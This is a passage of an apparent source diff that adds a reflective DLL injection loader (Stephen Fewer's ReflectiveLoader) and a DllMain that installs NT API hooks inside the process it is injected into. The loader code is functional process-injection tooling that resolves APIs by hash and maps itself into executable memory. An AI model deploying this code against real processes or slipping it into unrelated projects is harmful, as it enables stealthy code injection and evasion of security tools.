void RemoveNtApiHooks();
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // _NTAPIHOOKS_H
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
//===============================================================================================//
|
||||||
|
// NT API Hook Configuration
|
||||||
|
// Edit this file and rebuild to change settings
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _NTAPIHOOKS_CONFIG_H
|
||||||
|
#define _NTAPIHOOKS_CONFIG_H
|
||||||
|
|
||||||
|
// Set to 1 to enable detailed logging, 0 to disable
|
||||||
|
// Log file will be created at %TEMP%\rdi_hooks.log
|
||||||
|
#define ENABLE_DEBUG_LOGGING 0
|
||||||
|
|
||||||
|
#endif // _NTAPIHOOKS_CONFIG_H
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||||
|
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// we declare some common stuff in here...
|
||||||
|
|
||||||
|
#define DLL_QUERY_HMODULE 6
|
||||||
|
|
||||||
|
#define DEREF( name )*(UINT_PTR *)(name)
|
||||||
|
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||||
|
#define DEREF_32( name )*(DWORD *)(name)
|
||||||
|
#define DEREF_16( name )*(WORD *)(name)
|
||||||
|
#define DEREF_8( name )*(BYTE *)(name)
|
||||||
|
|
||||||
|
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
|
||||||
|
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||||
|
|
||||||
|
#define DLLEXPORT __declspec( dllexport )
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
//===============================================================================================//
|
||||||
|
// This is a stub for the actuall functionality of the DLL.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "ReflectiveLoader.h"
|
||||||
|
#include "NtApiHooks.h"
|
||||||
|
|
||||||
|
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
||||||
|
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
||||||
|
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
||||||
|
|
||||||
|
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
|
||||||
|
extern HINSTANCE hAppInstance;
|
||||||
|
|
||||||
|
// Store the parameter passed to ReflectiveLoader
|
||||||
|
extern LPVOID g_lpReflectiveParameter;
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
switch (dwReason)
|
||||||
|
{
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
if (lpReserved != NULL)
|
||||||
|
*(HMODULE*)lpReserved = hAppInstance;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
DisableThreadLibraryCalls(hinstDLL);
|
||||||
|
|
||||||
|
// Install NT API hooks with the parameter passed from the injector
|
||||||
|
InstallNtApiHooks(g_lpReflectiveParameter);
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
// Remove hooks on detach
|
||||||
|
RemoveNtApiHooks();
|
||||||
|
break;
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
||||||
@@ -0,0 +1,500 @@
|
|||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "ReflectiveLoader.h"
|
||||||
|
//===============================================================================================//
|
||||||
|
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||||
|
HINSTANCE hAppInstance = NULL;
|
||||||
|
// Store the parameter passed to ReflectiveLoader so DllMain can access it
|
||||||
|
LPVOID g_lpReflectiveParameter = NULL;
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma intrinsic( _ReturnAddress )
|
||||||
|
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||||
|
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||||
|
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||||
|
// available (and no inline asm available under x64).
|
||||||
|
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||||
|
// otherwise the DllMain at the end of this file will be used.
|
||||||
|
|
||||||
|
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||||
|
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||||
|
|
||||||
|
// This is our position independent reflective DLL loader/injector
|
||||||
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||||
|
#else
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
// the functions we need
|
||||||
|
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||||
|
GETPROCADDRESS pGetProcAddress = NULL;
|
||||||
|
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||||
|
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||||
|
|
||||||
|
USHORT usCounter;
|
||||||
|
|
||||||
|
// the initial location of this image in memory
|
||||||
|
ULONG_PTR uiLibraryAddress;
|
||||||
|
// the kernels base address and later this images newly loaded base address
|
||||||
|
ULONG_PTR uiBaseAddress;
|
||||||
|
|
||||||
|
// variables for processing the kernels export table
|
||||||
|
ULONG_PTR uiAddressArray;
|
||||||
|
ULONG_PTR uiNameArray;
|
||||||
|
ULONG_PTR uiExportDir;
|
||||||
|
ULONG_PTR uiNameOrdinals;
|
||||||
|
DWORD dwHashValue;
|
||||||
|
|
||||||
|
// variables for loading this image
|
||||||
|
ULONG_PTR uiHeaderValue;
|
||||||
|
ULONG_PTR uiValueA;
|
||||||
|
ULONG_PTR uiValueB;
|
||||||
|
ULONG_PTR uiValueC;
|
||||||
|
ULONG_PTR uiValueD;
|
||||||
|
ULONG_PTR uiValueE;
|
||||||
|
|
||||||
|
// STEP 0: calculate our images current base address
|
||||||
|
|
||||||
|
// we will start searching backwards from our callers return address.
|
||||||
|
uiLibraryAddress = caller();
|
||||||
|
|
||||||
|
// loop through memory backwards searching for our images base address
|
||||||
|
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||||
|
while (TRUE)
|
||||||
|
{
|
||||||
|
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
|
||||||
|
{
|
||||||
|
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||||
|
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||||
|
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
|
||||||
|
{
|
||||||
|
uiHeaderValue += uiLibraryAddress;
|
||||||
|
// break if we have found a valid MZ/PE header
|
||||||
|
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
uiLibraryAddress--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||||
|
|
||||||
|
// get the Process Enviroment Block
|
||||||
|
#ifdef WIN_X64
|
||||||
|
uiBaseAddress = __readgsqword(0x60);
|
||||||
|
#else
|
||||||
|
#ifdef WIN_X86
|
||||||
|
uiBaseAddress = __readfsdword(0x30);
|
||||||
|
#else WIN_ARM
|
||||||
|
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||||
|
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||||
|
|
||||||
|
// get the first entry of the InMemoryOrder module list
|
||||||
|
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||||
|
while (uiValueA)
|
||||||
|
{
|
||||||
|
// get pointer to current modules name (unicode string)
|
||||||
|
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||||
|
// set bCounter to the length for the loop
|
||||||
|
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||||
|
// clear uiValueC which will store the hash of the module name
|
||||||
|
uiValueC = 0;
|
||||||
|
|
||||||
|
// compute the hash of the module name...
|
||||||
|
do
|
||||||
|
{
|
||||||
|
uiValueC = ror((DWORD)uiValueC);
|
||||||
|
// normalize to uppercase if the madule name is in lowercase
|
||||||
|
if (*((BYTE*)uiValueB) >= 'a')
|
||||||
|
uiValueC += *((BYTE*)uiValueB) - 0x20;
|
||||||
|
else
|
||||||
|
uiValueC += *((BYTE*)uiValueB);
|
||||||
|
uiValueB++;
|
||||||
|
} while (--usCounter);
|
||||||
|
|
||||||
|
// compare the hash with that of kernel32.dll
|
||||||
|
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
|
||||||
|
{
|
||||||
|
// get this modules base address
|
||||||
|
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
usCounter = 3;
|
||||||
|
|
||||||
|
// loop while we still have imports to find
|
||||||
|
while (usCounter > 0)
|
||||||
|
{
|
||||||
|
// compute the hash values for this function name
|
||||||
|
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||||
|
|
||||||
|
// if we have found a function we want we get its virtual address
|
||||||
|
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
|
||||||
|
{
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||||
|
|
||||||
|
// use this functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||||
|
|
||||||
|
// store this functions VA
|
||||||
|
if (dwHashValue == LOADLIBRARYA_HASH)
|
||||||
|
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||||
|
else if (dwHashValue == GETPROCADDRESS_HASH)
|
||||||
|
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||||
|
else if (dwHashValue == VIRTUALALLOC_HASH)
|
||||||
|
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||||
|
|
||||||
|
// decrement our counter
|
||||||
|
usCounter--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
|
||||||
|
{
|
||||||
|
// get this modules base address
|
||||||
|
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
usCounter = 1;
|
||||||
|
|
||||||
|
// loop while we still have imports to find
|
||||||
|
while (usCounter > 0)
|
||||||
|
{
|
||||||
|
// compute the hash values for this function name
|
||||||
|
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||||
|
|
||||||
|
// if we have found a function we want we get its virtual address
|
||||||
|
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||||
|
{
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||||
|
|
||||||
|
// use this functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||||
|
|
||||||
|
// store this functions VA
|
||||||
|
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||||
|
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||||
|
|
||||||
|
// decrement our counter
|
||||||
|
usCounter--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// we stop searching when we have found everything we need.
|
||||||
|
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
|
||||||
|
break;
|
||||||
|
|
||||||
|
// get the next entry
|
||||||
|
uiValueA = DEREF(uiValueA);
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 2: load our image into a new permanent location in memory...
|
||||||
|
|
||||||
|
// get the VA of the NT Header for the PE to be loaded
|
||||||
|
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||||
|
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||||
|
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
// we must now copy over the headers
|
||||||
|
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||||
|
uiValueB = uiLibraryAddress;
|
||||||
|
uiValueC = uiBaseAddress;
|
||||||
|
|
||||||
|
while (uiValueA--)
|
||||||
|
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
|
||||||
|
|
||||||
|
// STEP 3: load in all of our sections...
|
||||||
|
|
||||||
|
// uiValueA = the VA of the first section
|
||||||
|
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
// itterate through all sections, loading them into memory.
|
||||||
|
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||||
|
while (uiValueE--)
|
||||||
|
{
|
||||||
|
// uiValueB is the VA for this section
|
||||||
|
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
|
||||||
|
|
||||||
|
// uiValueC if the VA for this sections data
|
||||||
|
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
|
||||||
|
|
||||||
|
// copy the section over
|
||||||
|
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||||
|
|
||||||
|
while (uiValueD--)
|
||||||
|
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
|
||||||
|
|
||||||
|
// get the VA of the next section
|
||||||
|
uiValueA += sizeof(IMAGE_SECTION_HEADER);
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 4: process our images import table...
|
||||||
|
|
||||||
|
// uiValueB = the address of the import directory
|
||||||
|
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||||
|
|
||||||
|
// we assume their is an import table to process
|
||||||
|
// uiValueC is the first entry in the import table
|
||||||
|
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||||
|
|
||||||
|
// itterate through all imports
|
||||||
|
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
|
||||||
|
{
|
||||||
|
// use LoadLibraryA to load the imported module into memory
|
||||||
|
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||||
|
|
||||||
|
// uiValueD = VA of the OriginalFirstThunk
|
||||||
|
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
|
||||||
|
|
||||||
|
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||||
|
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
|
||||||
|
|
||||||
|
// itterate through all imported functions, importing by ordinal if no name present
|
||||||
|
while (DEREF(uiValueA))
|
||||||
|
{
|
||||||
|
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||||
|
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||||
|
{
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||||
|
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||||
|
|
||||||
|
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||||
|
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
|
||||||
|
|
||||||
|
// patch in the address for this imported function
|
||||||
|
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// get the VA of this functions import by name struct
|
||||||
|
uiValueB = (uiBaseAddress + DEREF(uiValueA));
|
||||||
|
|
||||||
|
// use GetProcAddress and patch in the address for this imported function
|
||||||
|
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||||
|
}
|
||||||
|
// get the next imported function
|
||||||
|
uiValueA += sizeof(ULONG_PTR);
|
||||||
|
if (uiValueD)
|
||||||
|
uiValueD += sizeof(ULONG_PTR);
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next import
|
||||||
|
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 5: process all of our images relocations...
|
||||||
|
|
||||||
|
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||||
|
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||||
|
|
||||||
|
// uiValueB = the address of the relocation directory
|
||||||
|
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||||
|
|
||||||
|
// check if their are any relocations present
|
||||||
|
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
|
||||||
|
{
|
||||||
|
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||||
|
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||||
|
|
||||||
|
// and we itterate through all entries...
|
||||||
|
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
|
||||||
|
{
|
||||||
|
// uiValueA = the VA for this relocation block
|
||||||
|
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
|
||||||
|
|
||||||
|
// uiValueB = number of entries in this relocation block
|
||||||
|
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
||||||
|
|
||||||
|
// uiValueD is now the first entry in the current relocation block
|
||||||
|
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||||
|
|
||||||
|
// we itterate through all the entries in the current block...
|
||||||
|
while (uiValueB--)
|
||||||
|
{
|
||||||
|
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||||
|
// we dont use a switch statement to avoid the compiler building a jump table
|
||||||
|
// which would not be very position independent!
|
||||||
|
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
|
||||||
|
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||||
|
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
|
||||||
|
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||||
|
#ifdef WIN_ARM
|
||||||
|
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||||
|
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
|
||||||
|
{
|
||||||
|
register DWORD dwInstruction;
|
||||||
|
register DWORD dwAddress;
|
||||||
|
register WORD wImm;
|
||||||
|
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||||
|
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
|
||||||
|
